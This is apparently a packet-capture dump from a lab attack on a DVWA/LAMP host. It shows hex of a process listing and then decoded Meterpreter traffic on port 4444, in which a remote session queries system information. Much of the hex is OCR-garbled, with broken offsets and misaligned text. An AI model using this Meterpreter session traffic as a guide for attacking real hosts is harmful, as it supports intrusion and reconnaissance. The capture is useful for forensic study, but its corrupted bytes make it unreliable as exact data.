     72 77 71 5d 00 00 00 00 12 00 01 08 fe 5b 64 65
0b00
                                                       rwq]....[de
     66 65 72 77 71 5d 00 00 00 00 55 40 00 08 ff 00
                                                       ferwq]....U@....
0b10
     00 00 0c 00 02 08 fc 00 00 00 4b 00 00 00 0d 00
0b20
                                                       .....K.....
0b30
     01 04 12 72 6f 6f 74 00 00 00 00 1a 00 01 08 fd
                                                       ...root......
     5b 63 68 61 72 67 65 72 5f 6d 61 6e 61 67 65 72
0b40
                                                       [charger_manager
0b50
     5d 00 00 00 00 1a 00 01 08 fe 5b 63 68 61 72 67
                                                       ]....[charg
0b60
     65 72 5f 6d 61 6e 61 67 65 72 5d 00 00 00 00 49
                                                       er_manager]....I
9h79
     40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 7a
0b80
     00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00
                                                       ....root....
0b90 14 00 01 08 fd 5b 6b 70 73 6d 6f 75 73 65 64 5d
                                                       ....[kpsmoused]
     00 00 00 00 14 00 01 08 fe 5b 6b 70 73 6d 6f 75
                                                       .....[kpsmou
0ba0
     73 65 64 5d 00 00 00 00 4f 40 00 08 ff 00 00 00
                                                       sed]....0@.....
0bb0
0bc0
     0c 00 02 08 fc 00 00 00 7d 00 00 00 0d 00 01 04
                                                       12 72 6f 6f 74 00 00 00 00 17 00 01 08 fd 5b 6b
0bd0
                                                       .root....[k
0be0
     77 6f 72 6b 65 72 2f 30 3a 31 48 5d 00 00 00 00
                                                       worker/0:1H]....
     17 00 01 08 fe 5b 6b 77 6f 72 6b 65 72 2f 30 3a
9hf9
                                                       ....[kworker/0:
     31 48 5d 00 00 00 00 49 40 00 08 ff 00 00 00 0c
0c00
                                                       1H]....I@.....
     00 02 08 fc 00 00 00 7e 00 00 00 0d 00 01 04 12
0c10
                                                       . . . . . . . ~ . . . . . . . .
     72 6f 6f 74 00 00 00 00 14 00 01 08 fd 5b 73 63
0c20
                                                       root.....[sc
     73 69 5f 65 68 5f 32 5d 00 00 00 00 14 00 01 08
0c30
                                                       si_eh_2].....
0c40
     fe 5b 73 63 73 69 5f 65 68 5f 32 5d 00 00 00 00
                                                       .[scsi_eh_2]....
     4b 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00
0c50
                                                       K@.....
     7f 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00
                                                       ....root...
0c60
     00 15 00 01 08 fd 5b 73 63 73 69 5f 74 6d 66 5f
                                                       .....[scsi_tmf]
0c70
0c80
     32 5d 00 00 00 00 15 00 01 08 fe 5b 73 63 73 69
                                                       2]....[scsi
     5f 74 6d 66 5f 32 5d 00 00 00 00 4d 40 00 08 ff
                                                       _tmf_2]....M@...
0c90
0ca0
     00 00 00 0c 00 02 08 fc 00 00 00 89 00 00 00 0d
0cb0
     00 01 04 12 72 6f 6f 74 00 00 00 00 16 00 01 08
                                                       ....root.....
     fd 5b 6a 62 64 32 2f 73 64 61 31 2d 38 5d 00 00
0cc0
                                                       .[jbd2/sda1-8]..
                                                       .....[jbd2/sda
0cd0
     00 00 16 00 01 08 fe 5b 6a 62 64 32 2f 73 64 61
0ce0
     31 2d 38 5d 00 00 00 00 55 40 00 08 ff 00 00 00
                                                       1-8]....U@.....
0cf0
     0c 00 02 08 fc 00 00 00 8a 00 00 00 0d 00 01 04
     12 72 6f 6f 74 00 00 00 00 1a 00 01 08 fd 5b 65
0d00
                                                       .root....[e
0d10
     78 74 34 2d 72 73 76 2d 63 6f 6e 76 65 72 5d 00
                                                       xt4-rsv-conver].
     00 00 00 1a 00 01 08 fe 5b 65 78 74 34 2d 72 73
0d20
                                                       .....[ext4-rs
     76 2d 63 6f 6e 76 65 72 5d 00 00 00 00 62 40 00
0d30
                                                       v-conver]....b@.
     08 ff 00 00 00 0c 00 02 08 fc 00 00 01 0f 00 00
0d40
0d50
     00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 1c 00
                                                       .....root.....
     01 08 fd 75 70 73 74 61 72 74 2d 75 64 65 76 2d
0d60
                                                       ...upstart-udev-
     62 72 69 64 67 65 00 00 00 00 25 00 01 08 fe 75
0d70
                                                       bridge....%....u
0d80 70 73 74 61 72 74 2d 75 64 65 76 2d 62 72 69 64
                                                       pstart-udev-brid
0d90 67 65 20 2d 2d 64 61 65 6d 6f 6e 00 00 00 00 70
                                                       ge --daemon....p
```

```
0da0 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 01 13
                                                        @.....
     00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00
0dh0
                                                        ....root....
     23 00 01 08 fd 2f 6c 69 62 2f 73 79 73 74 65 6d
                                                        #..../lib/system
0dc0
                                                        d/systemd-udevd.
     64 2f 73 79 73 74 65 6d 64 2d 75 64 65 76 64 00
9dd9
                                                        ...,.../lib/sys
     00 00 00 2c 00 01 08 fe 2f 6c 69 62 2f 73 79 73
0de0
     74 65 6d 64 2f 73 79 73 74 65 6d 64 2d 75 64 65
0df0
                                                        temd/systemd-ude
     76 64 20 2d 2d 64 61 65 6d 6f 6e 00 00 00 00 5d
                                                        vd --daemon....]
0e00
     40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 01 5a
0e10
                                                        @....Z
0e20
     00 00 00 11 00 01 04 12 6d 65 73 73 61 67 65 2b
                                                        ....message+
0e30
     00 00 00 00 14 00 01 08 fd 64 62 75 73 2d 64 61
                                                        .....dbus-da
0e40
     65 6d 6f 6e 00 00 00 00 24 00 01 08 fe 64 62 75
                                                        emon....$....dbu
     73 2d 64 61 65 6d 6f 6e 20 2d 2d 73 79 73 74 65
                                                        s-daemon --syste
0e50
0e60
     6d 20 2d 2d 66 6f 72 6b 00 00 00 00 3f 40 00 08
                                                        m --fork....?@..
                                                        ....j...
0e70
     ff 00 00 00 0c 00 02 08 fc 00 00 01 6a 00 00 00
     0d 00 01 04 12 72 6f 6f 74 00 00 00 00 0f 00 01
0e80
                                                        ....root.....
                                                        ..[iprt].....
0e90
     08 fd 5b 69 70 72 74 5d 00 00 00 00 0f 00 01 08
0ea0 fe 5b 69 70 72 74 5d 00 00 00 00 69 40 00 08 ff
                                                        .[iprt]....i@...
0eb0
     00 00 00 0c 00 02 08 fc 00 00 01 75 00 00 00 0d
                                                        . . . . . . . . . . . u . . . .
     00 01 04 12 72 6f 6f 74 00 00 00 00 24 00 01 08
                                                        ....root....$...
0ec0
     fd 2f 6c 69 62 2f 73 79 73 74 65 6d 64 2f 73 79
0ed0
                                                        ./lib/systemd/sy
     73 74 65 6d 64 2d 6c 6f 67 69 6e 64 00 00 00 00
                                                        stemd-logind....
0ee0
     24 00 01 08 fe 2f 6c 69 62 2f 73 79 73 74 65 6d
0ef0
                                                        $..../lib/system
     64 2f 73 79 73 74 65 6d 64 2d 6c 6f 67 69 6e 64
                                                        d/systemd-logind
9f99
     00 00 00 00 45 40 00 08 ff 00 00 00 0c 00 02 08
                                                        ....E@.....
0f10
     fc 00 00 01 8c 00 00 00 0f 00 01 04 12 73 79 73
0f20
                                                        .....sys
0f30
     6c 6f 67 00 00 00 00 11 00 01 08 fd 72 73 79 73
                                                        log....rsys
     6c 6f 67 64 00 00 00 00 11 00 01 08 fe 72 73 79
0f40
                                                        logd....rsy
0f50
     73 6c 6f 67 64 00 00 00 00 62 40 00 08 ff 00 00
                                                        slogd....b@.....
     00 0c 00 02 08 fc 00 00 01 a5 00 00 00 0d 00 01
0f60
                                                        . . . . . . . . . . . . . . . . . . .
0f70
     04 12 72 6f 6f 74 00 00 00 00 1c 00 01 08 fd 75
                                                        ..root....u
                                                        pstart-file-brid
0f80
     70 73 74 61 72 74 2d 66 69 6c 65 2d 62 72 69 64
0f90
     67 65 00 00 00 00 25 00 01 08 fe 75 70 73 74 61
                                                        ge....%....upsta
0fa0
     72 74 2d 66 69 6c 65 2d 62 72 69 64 67 65 20 2d
                                                        rt-file-bridge -
     2d 64 61 65 6d 6f 6e 00 00 00 00 66 40 00 08 ff
0fb0
                                                        -daemon...f@...
0fc0
     00 00 00 0c 00 02 08 fc 00 00 02 88 00 00 00 0d
                                                        . . . . . . . . . . . . . . . .
     00 01 04 12 72 6f 6f 74 00 00 00 00 1e 00 01 08
9fd9
                                                        ....root.....
0fe0
     fd 75 70 73 74 61 72 74 2d 73 6f 63 6b 65 74 2d
                                                        .upstart-socket-
     62 72 69 64 67 65 00 00 00 00 27 00 01 08 fe 75
                                                        bridge....'...u
0ff0
     70 73 74 61 72 74 2d 73 6f 63 6b 65 74 2d 62 72
1000
                                                        pstart-socket-br
     69 64 67 65 20 2d 2d 64 61 65 6d 6f 6e 00 00 00
1010
                                                        idge --daemon...
1020
     00 57 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00
                                                        .W@.....
     02 d3 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00
                                                        ....root..
1030
1040
     00 00 14 00 01 08 fd 2f 73 62 69 6e 2f 67 65 74
                                                        ..../sbin/get
     74 79 00 00 00 00 22 00 01 08 fe 2f 73 62 69 6e
1050
                                                        ty..../sbin
     2f 67 65 74 74 79 20 2d 38 20 33 38 34 30 30 20
                                                        /getty -8 38400
1060
     74 74 79 34 00 00 00 00 57 40 00 08 ff 00 00 00
                                                        tty4....W@.....
1070
1080
     0c 00 02 08 fc 00 00 02 d6 00 00 00 0d 00 01 04
                                                        1090
     12 72 6f 6f 74 00 00 00 00 14 00 01 08 fd 2f 73
                                                        .root...../s
                                                        bin/getty...."..
10a0
     62 69 6e 2f 67 65 74 74 79 00 00 00 00 22 00 01
10b0
     08 fe 2f 73 62 69 6e 2f 67 65 74 74 79 20 2d 38
                                                        ../sbin/getty -8
10c0
     20 33 38 34 30 30 20 74 74 79 35 00 00 00 00 57
                                                         38400 tty5....W
10d0
     40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 02 e0
                                                        @.....
     00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00
10e0
                                                        ....root....
     14 00 01 08 fd 2f 73 62 69 6e 2f 67 65 74 74 79
                                                        ..../sbin/getty
10f0
     00 00 00 00 22 00 01 08 fe 2f 73 62 69 6e 2f 67
1100
                                                        ...."..../sbin/g
1110
     65 74 74 79 20 2d 38 20 33 38 34 30 30 20 74 74
                                                        etty -8 38400 tt
     79 32 00 00 00 00 57 40 00 08 ff 00 00 00 0c 00
1120
                                                        y2....W@.....
1130
     02 08 fc 00 00 02 e1 00 00 00 0d 00 01 04 12 72
                                                        . . . . . . . . . . . . . . r
     6f 6f 74 00 00 00 00 14 00 01 08 fd 2f 73 62 69
                                                        oot...../sbin/getty..."....
1140
     6e 2f 67 65 74 74 79 00 00 00 00 22 00 01 08 fe
1150
     2f 73 62 69 6e 2f 67 65 74 74 79 20 2d 38 20 33
                                                        /sbin/getty -8 3
1160
     38 34 30 30 20 74 74 79 33 00 00 00 00 57 40 00
1170
                                                        8400 tty3....W@.
     08 ff 00 00 00 0c 00 02 08 fc 00 00 02 e8 00 00
1180
                                                        . . . . . . . . . . . . . . . .
1190
     00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 14 00
                                                        .....root.....
     01 08 fd 2f 73 62 69 6e 2f 67 65 74 74 79 00 00
11a0
                                                        .../sbin/getty..
     00 00 22 00 01 08 fe 2f 73 62 69 6e 2f 67 65 74
11b0
                                                        ..".../sbin/get
     74 79 20 2d 38 20 33 38 34 30 30 20 74 74 79 36
                                                        ty -8 38400 tty6
11c0
     00 00 00 00 52 40 00 08 ff 00 00 00 0c 00 02 08
11d0
                                                        ....R@......
     fc 00 00 03 14 00 00 00 0d 00 01 04 12 72 6f 6f
11e0
                                                        .....roo
11f0
     74 00 00 00 00 17 00 01 08 fd 2f 75 73 72 2f 73
                                                        t...../usr/s
1200
     62 69 6e 2f 73 73 68 64 00 00 00 00 1a 00 01 08
                                                        bin/sshd.....
     fe 2f 75 73 72 2f 73 62 69 6e 2f 73 73 68 64 20
1210
                                                        ./usr/sbin/sshd
1220
     2d 44 00 00 00 00 3b 40 00 08 ff 00 00 00 0c 00
                                                        -D....;@......
1230
     02 08 fc 00 00 03 19 00 00 00 0f 00 01 04 12 64
                                                        ....d
1240
     61 65 6d 6f 6e 00 00 00 0c 00 01 08 fd 61 74
                                                        aemon.....at
     64 00 00 00 00 0c 00 01 08 fe 61 74 64 00 00 00
1250
                                                        d.....atd...
1260
     00 3b 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00
                                                        .;@.....
     03 1a 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00
1270
                                                        ....root..
     00 00 0d 00 01 08 fd 63 72 6f 6e 00 00 00 00 0d
1280
                                                        ....cron....
     00 01 08 fe 63 72 6f 6e 00 00 00 00 6a 40 00 08
1290
                                                        ....cron....j@..
12a0
     ff 00 00 00 0c 00 02 08 fc 00 00 03 2b 00 00 00
                                                        . . . . . . . . . . . . + . . .
     0d 00 01 04 12 72 6f 6f 74 00 00 00 00 0e 00 01
12b0
                                                        ....root.....
     08 fd 61 63 70 69 64 00 00 00 00 3b 00 01 08 fe
12c0
                                                        ..acpid....;....
12d0 61 63 70 69 64 20 2d 63 20 2f 65 74 63 2f 61 63
                                                        acpid -c /etc/ac
12e0 70 69 2f 65 76 65 6e 74 73 20 2d 73 20 2f 76 61
                                                        pi/events -s /va
```

```
12f0 72 2f 72 75 6e 2f 61 63 70 69 64 2e 73 6f 63 6b
                                                       r/run/acpid.sock
1300 65 74 00 00 00 00 54 40 00 08 ff 00 00 00 0c 00
                                                       et....T@.....
     02 08 fc 00 00 03 94 00 00 00 0e 00 01 04 12 6d
1310
                                                        .....m
     79 73 71 6c 00 00 00 00 19 00 01 08 fd 2f 75 73
                                                       ysql..../us
1320
1330
     72 2f 73 62 69 6e 2f 6d 79 73 71 6c 64 00 00 00
                                                       r/sbin/mysqld...
     00 19 00 01 08 fe 2f 75 73 72 2f 73 62 69 6e 2f
1340
                                                        ...../usr/sbin/
1350
     6d 79 73 71 6c 64 00 00 00 00 5e 40 00 08 ff 00
                                                       mysqld....^@....
     00 00 0c 00 02 08 fc 00 00 03 a7 00 00 00 0d 00
1360
                                                       . . . . . . . . . . . . . . . . . . .
1370
     01 04 12 72 6f 6f 74 00 00 00 00 1a 00 01 08 fd
                                                        ...root.....
     2f 75 73 72 2f 73 62 69 6e 2f 61 70 61 63 68 65
1380
                                                       /usr/sbin/apache
1390
     32 00 00 00 00 23 00 01 08 fe 2f 75 73 72 2f 73
                                                       2....#..../usr/s
13a0
     62 69 6e 2f 61 70 61 63 68 65 32 20 2d 6b 20 73
                                                       bin/apache2 -k s
13b0
     74 61 72 74 00 00 00 00 62 40 00 08 ff 00 00 00
                                                       tart....b@.....
13c0
     0c 00 02 08 fc 00 00 03 b6 00 00 00 11 00 01 04
                                                       . . . . . . . . . . . . . . . .
     12 77 77 77 2d 64 61 74 61 00 00 00 00 1a 00 01
13d0
                                                        .www-data.....
13e0
     08 fd 2f 75 73 72 2f 73 62 69 6e 2f 61 70 61 63
                                                        ../usr/sbin/apac
     68 65 32 00 00 00 00 23 00 01 08 fe 2f 75 73 72
13f0
                                                       he2....#..../usr
1400
     2f 73 62 69 6e 2f 61 70 61 63 68 65 32 20 2d 6b
                                                       /sbin/apache2 -k
     20 73 74 61 72 74 00 00 00 00 62 40 00 08 ff 00
1410
                                                        start....b@....
     00 00 0c 00 02 08 fc 00 00 03 b7 00 00 00 11 00
1420
                                                        . . . . . . . . . . . . . . . .
     01 04 12 77 77 77 2d 64 61 74 61 00 00 00 00 1a
1430
                                                        ...www-data....
     00 01 08 fd 2f 75 73 72 2f 73 62 69 6e 2f 61 70
1440
                                                        ..../usr/sbin/ap
     61 63 68 65 32 00 00 00 00 23 00 01 08 fe 2f 75
1450
                                                       ache2....#..../u
     73 72 2f 73 62 69 6e 2f 61 70 61 63 68 65 32 20
                                                       sr/sbin/apache2
1460
     2d 6b 20 73 74 61 72 74 00 00 00 00 62 40 00 08
1470
                                                       -k start....b@..
1480
     ff 00 00 00 0c 00 02 08 fc 00 00 03 b8 00 00 00
                                                        . . . . . . . . . . . . . . . .
     11 00 01 04 12 77 77 77 2d 64 61 74 61 00 00 00
1490
                                                       ....www-data...
14a0
     00 1a 00 01 08 fd 2f 75 73 72 2f 73 62 69 6e 2f
                                                        ..../usr/sbin/
14b0
     61 70 61 63 68 65 32 00 00 00 00 23 00 01 08 fe
                                                       apache2...#...
     2f 75 73 72 2f 73 62 69 6e 2f 61 70 61 63 68 65
14c0
                                                       /usr/sbin/apache
14d0
     32 20 2d 6b 20 73 74 61 72 74 00 00 00 00 62 40
                                                       2 -k start....b@
14e0
     00 08 ff 00 00 00 0c 00 02 08 fc 00 00 03 b9 00
14f0
     00 00 11 00 01 04 12 77 77 77 2d 64 61 74 61 00
                                                       ....www-data.
     00 00 00 1a 00 01 08 fd 2f 75 73 72 2f 73 62 69
1500
                                                        ..../usr/sbi
1510
     6e 2f 61 70 61 63 68 65 32 00 00 00 00 23 00 01
                                                       n/apache2....#..
1520
     08 fe 2f 75 73 72 2f 73 62 69 6e 2f 61 70 61 63
                                                       ../usr/sbin/apac
1530
     68 65 32 20 2d 6b 20 73 74 61 72 74 00 00 00 00
                                                       he2 -k start....
     62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 03
1540
                                                       b@.....
     ba 00 00 00 11 00 01 04 12 77 77 77 2d 64 61 74
1550
                                                       ....www-dat
     61 00 00 00 00 1a 00 01 08 fd 2f 75 73 72 2f 73
1560
                                                       a..../usr/s
1570
     62 69 6e 2f 61 70 61 63 68 65 32 00 00 00 00 23
                                                       bin/apache2....#
     00 01 08 fe 2f 75 73 72 2f 73 62 69 6e 2f 61 70
1580
                                                       ..../usr/sbin/ap
1590
     61 63 68 65 32 20 2d 6b 20 73 74 61 72 74 00 00
                                                        ache2 -k start..
     00 00 4a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00
                                                       ...Э@.....
15a0
     00 03 e0 00 00 00 0d 00 01 04 12 72 6f 6f 74 00
15b0
                                                        ....root.
                                                        ..../bin/log
     00 00 00 13 00 01 08 fd 2f 62 69 6e 2f 6c 6f 67
15c0
15d0
     69 6e 00 00 00 00 16 00 01 08 fe 2f 62 69 6e 2f
                                                       in..../bin/
     6c 6f 67 69 6e 20 2d 2d 00 00 00 00 45 40 00 08
15e0
                                                       login --....E@..
15f0
     ff 00 00 00 0c 00 02 08 fc 00 00 04 79 00 00 00
                                                        ....root.....
1600
     0d 00 01 04 12 72 6f 6f 74 00 00 00 00 12 00 01
1610
     08 fd 5b 6b 61 75 64 69 74 64 5d 00 00 00 00 12
                                                        ..[kauditd]....
1620
     00 01 08 fe 5b 6b 61 75 64 69 74 64 5d 00 00 00
                                                       ....[kauditd]...
     00 3f 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00
1630
                                                        .?@.....
1640
     04 b4 00 00 00 0f 00 01 04 12 6d 61 73 74 65 72
                                                       .....master
     00 00 00 00 0e 00 01 08 fd 2d 62 61 73 68 00 00
1650
                                                        ....-bash..
1660
     00 00 0e 00 01 08 fe 2d 62 61 73 68 00 00 00 00
                                                        ....-bash....
     3e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 04
1670
                                                       >@.....
                                                       ....root...
1680
     c3 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00
1690
     00 0d 00 01 08 fd 73 75 64 6f 00 00 00 00 10 00
                                                        .....sudo.....
     01 08 fe 73 75 64 6f 20 73 75 00 00 00 00 37 40
16a0
                                                        ...sudo su....7@
     00 08 ff 00 00 00 0c 00 02 08 fc 00 00 04 c4 00
16b0
                                                        . . . . . . . . . . . . . . . .
     00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 0b
16c0
                                                       ....root....
16d0
     00 01 08 fd 73 75 00 00 00 00 0b 00 01 08 fe 73
                                                        ....su.....s
16e0
     75 00 00 00 00 3b 40 00 08 ff 00 00 00 0c 00 02
                                                       u....;@......
     08 fc 00 00 04 c5 00 00 00 0d 00 01 04 12 72 6f
16f0
                                                        .....ro
1700
     6f 74 00 00 00 00 0d 00 01 08 fd 62 61 73 68 00
                                                       ot.....bash.
     00 00 00 0d 00 01 08 fe 62 61 73 68 00 00 00 00
                                                        .....bash....
1710
1720
     62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 04
                                                       .....www-dat
     d5 00 00 00 11 00 01 04 12 77 77 77 2d 64 61 74
1730
1740
     61 00 00 00 00 1a 00 01 08 fd 2f 75 73 72 2f 73
                                                       a..../usr/s
1750
     62 69 6e 2f 61 70 61 63 68 65 32 00 00 00 00 23
                                                       bin/apache2...#
     00 01 08 fe 2f 75 73 72 2f 73 62 69 6e 2f 61 70
1760
                                                        ..../usr/sbin/ap
1770
     61 63 68 65 32 20 2d 6b 20 73 74 61 72 74 00 00
                                                       ache2 -k start..
1780
     00 00 4f 40 00 08 ff 00 00 00 0c 00 02 08 fc 00
                                                        ..0@.....
                                                        .....root.
1790
     00 04 d7 00 00 00 0d 00 01 04 12 72 6f 6f 74 00
     00 00 00 17 00 01 08 fd 5b 6b 77 6f 72 6b 65 72
17a0
                                                        ....[kworker
17b0
     2f 75 32 3a 31 5d 00 00 00 00 17 00 01 08 fe 5b
                                                        /u2:1]....[
                                                       kworker/u2:1]...
     6b 77 6f 72 6b 65 72 2f 75 32 3a 31 5d 00 00 00
17c0
     00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00
17d0
                                                        .b@........
     04 e5 00 00 00 11 00 01 04 12 77 77 77 2d 64 61
                                                        ....www-da
17e0
17f0
     74 61 00 00 00 00 1a 00 01 08 fd 2f 75 73 72 2f
                                                       ta..../usr/
     73 62 69 6e 2f 61 70 61 63 68 65 32 00 00 00 00
1800
                                                       sbin/apache2....
     23 00 01 08 fe 2f 75 73 72 2f 73 62 69 6e 2f 61
1810
                                                       #..../usr/sbin/a
1820 70 61 63 68 65 32 20 2d 6b 20 73 74 61 72 74 00
                                                       pache2 -k start.
                                                       ...0@.....
1830 00 00 00 4f 40 00 08 ff 00 00 00 0c 00 02 08 fc
```

																-	
1840	00	00	04	f8	00	00	00	0d	00	01	04	12	72	6f	6f	74	root
1850	00	00	00	00	17	00	01	98	fd	5b	6b	77	6f	72	6b	65	[kworke
1860	72	2f	75	32	3a	30	5d	00	00	00	00	17	00	01	98	fe	r/u2:0]
1870	5b	6b	77	6f	72	6b	65	72	2f	75	32	3a	30	5d	00	00	[kworker/u2:0]
1880	00	00	55	40	00	80	ff	00	00	00	0c	00	02	98	fc	00	∪@
1890	00	05	04	00	00	00	0d	00	01	04	12	72	6f	6f	74	00	root.
18a0	00	00	00	10	00	01	80	fd	74	63	70	64	75	6d	70	00	tcpdump.
18b0	00	00	00	24	00	01	80	fe	74	63	70	64	75	6d	70	20	\$tcpdump
18c0	2d	77	20	63	61	70	74	75	72	61	5f	64	77	76	61	2e	-w captura_dwva.
18d0	63	61	70	00	00	00	00	6f	40	00	98	ff	00	00	00	0с	capo@
18e0	00	02	80	fc	00	00	05	05	00	00	00	11	00	01	04	12	
18f0	77	77	77	2d	64	61	74	61	00	00	00	00	0b	00	01	80	www-data
1900	fd	73	68	00	00	00	00	3f	00	01	80	fe	73	68	20	2d	.sh?sh -
1910	63	20	70	73	20	61	78	20	2d	77	20	2d	6f	20	70	69	c ps ax -w -o pi
1920	64	2c	75	73	65	72	2c	63	6d	64	20	2d	2d	6e	6f	2d	d,user,cmdno-
1930	68	65	61	64	65	72	20	32	3e	2f	64	65	76	2f	6e	75	header 2>/dev/nu
1940	6c	6c	00	00	00	00	5d	40	00	80	ff	00	00	00	0с	00	11]@
1950	02	80	fc	00	00	05	06	00	00	00	11	00	01	04	12	77	W
1960	77	77	2d	64	61	74	61	00	00	00	00	0b	00	01	80	fd	ww-data
1970	70	73	00	00	00	00	2d	00	01	80	fe	70	73	20	61	78	psps ax
1980	20	2d	77	20	2d	6f	20	70	69	64	2c	75	73	65	72	2c	-w -o pid,user,
1990	63	6d	64	20	2d	2d	6e	6f	2d	68	65	61	64	65	72	00	cmdno-header.
19a0	00	00	00	0с	00	02	00	04	00	00	00	00					

0030 00 3c 1c df 00 00 01 01 08 0a 00 0a 75 b2 00 0e .<.......................

0040 ce a2

```
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2631, Ack: 10389, Len: 83
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000053 [Command length]: 83
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000022000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000022000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000022 [Length]: 34
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f636f6e6669675f737973696e66... [Value] stdapi_sys_config_sysinfo
Meterpreter protocol, TLV details
   Data: 000000290001000238363131373637393936353437383930... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 383631313736373939363534373839303233383336383438... [Value] 86117679965478902383684811607646
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 87 2f 7c 40 00 40 06 f4 e6 0a 00 01 05 0a 00
                                                       ../|@.@.....
0020 01 0a 11 5c d9 d2 14 78 32 31 06 18 c7 36 80 18
                                                       ...\...x21...6..
0030 00 3c 39 32 00 00 01 01 08 0a 00 0a 78 08 00 0e
                                                       .<92....x...
                                                       .....S......"..
0040 ce a2 00 00 00 53 00 00 00 00 00 00 00 22 00 01
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                       ..stdapi_sys_con
0060 66 69 67 5f 73 79 73 69 6e 66 6f 00 00 00 00 29
                                                       fig_sysinfo....)
0070 00 01 00 02 38 36 31 31 37 36 37 39 39 36 35 34
                                                       ....861176799654
0080 37 38 39 30 32 33 38 33 36 38 34 38 31 31 36 30
                                                       7890238368481160
0090 37 36 34 36 00
                                                       7646.
```

Frame 84: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits)

```
Frame 85: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 10389, Ack: 2714, Len: 204
Meterpreter protocol, Command details here or in the tree below
   Command: 0x000000cc [Command length]: 204
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000022000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000022000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000022 [Length]: 34
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f7379735f636f6e6669675f737973696e66... [Value] stdapi_sys_config_sysinfo
Meterpreter protocol, TLV details
   Data: 000000290001000238363131373637393936353437383930... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 383631313736373939363534373839303233383336383438... [Value] 86117679965478902383684811607646
Meterpreter protocol, TLV details
   Data: 000000d000104104c414d50 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x00010410 [Type: Response]: TLV_TYPE_COMPUTER_NAME
   Data: 4c414d5000 [Value] LAMP
Meterpreter protocol, TLV details
   Data: 00000060000104114c696e7578204c414d5020332e31392e... [TLV]
   Command: 0x00000060 [Length]: 96
   Type: 0x00010411 [Type: Response]: TLV_TYPE_OS_NAME
   Data: 4c696e7578204c414d5020332e31392e302d32352d67656e... [Value] Linux LAMP 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24
21:16:20 UTC 2015 x86_64
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV TYPE RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'....'oz...E.
0010 01 00 0e cc 40 00 40 06 15 1e 0a 00 01 0a 0a 00
                                                       ....@.@......
0020 01 05 d9 d2 11 5c 06 18 c7 36 14 78 32 84 80 18
                                                       ....\...6.x2...
0030   0a fe 17 01 00 00 01 01 08 0a 00 0e d0 f8 00 0a
                                                       x....."..
0040 78 08 00 00 00 cc 00 00 00 01 00 00 00 22 00 01
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                        ..stdapi_sys_con
0060
     66 69 67 5f 73 79 73 69 6e 66 6f 00 00 00 00 29
                                                       fig_sysinfo....)
0070 00 01 00 02 38 36 31 31 37 36 37 39 39 36 35 34
                                                        ....861176799654
```

7890238368481160

7646.....LAM

P....`...Linux

LAMP 3.19.0-25-g

eneric #26~14.04

.1-Ubuntu SMP Fr

i Jul 24 21:16:2

0 UTC 2015 x86 6

0080 37 38 39 30 32 33 38 33 36 38 34 38 31 31 36 30

0090 37 36 34 36 00 00 00 00 0d 00 01 04 10 4c 41 4d

00b0 4c 41 4d 50 20 33 2e 31 39 2e 30 2d 32 35 2d 67

00c0 65 6e 65 72 69 63 20 23 32 36 7e 31 34 2e 30 34

00d0 2e 31 2d 55 62 75 6e 74 75 20 53 4d 50 20 46 72

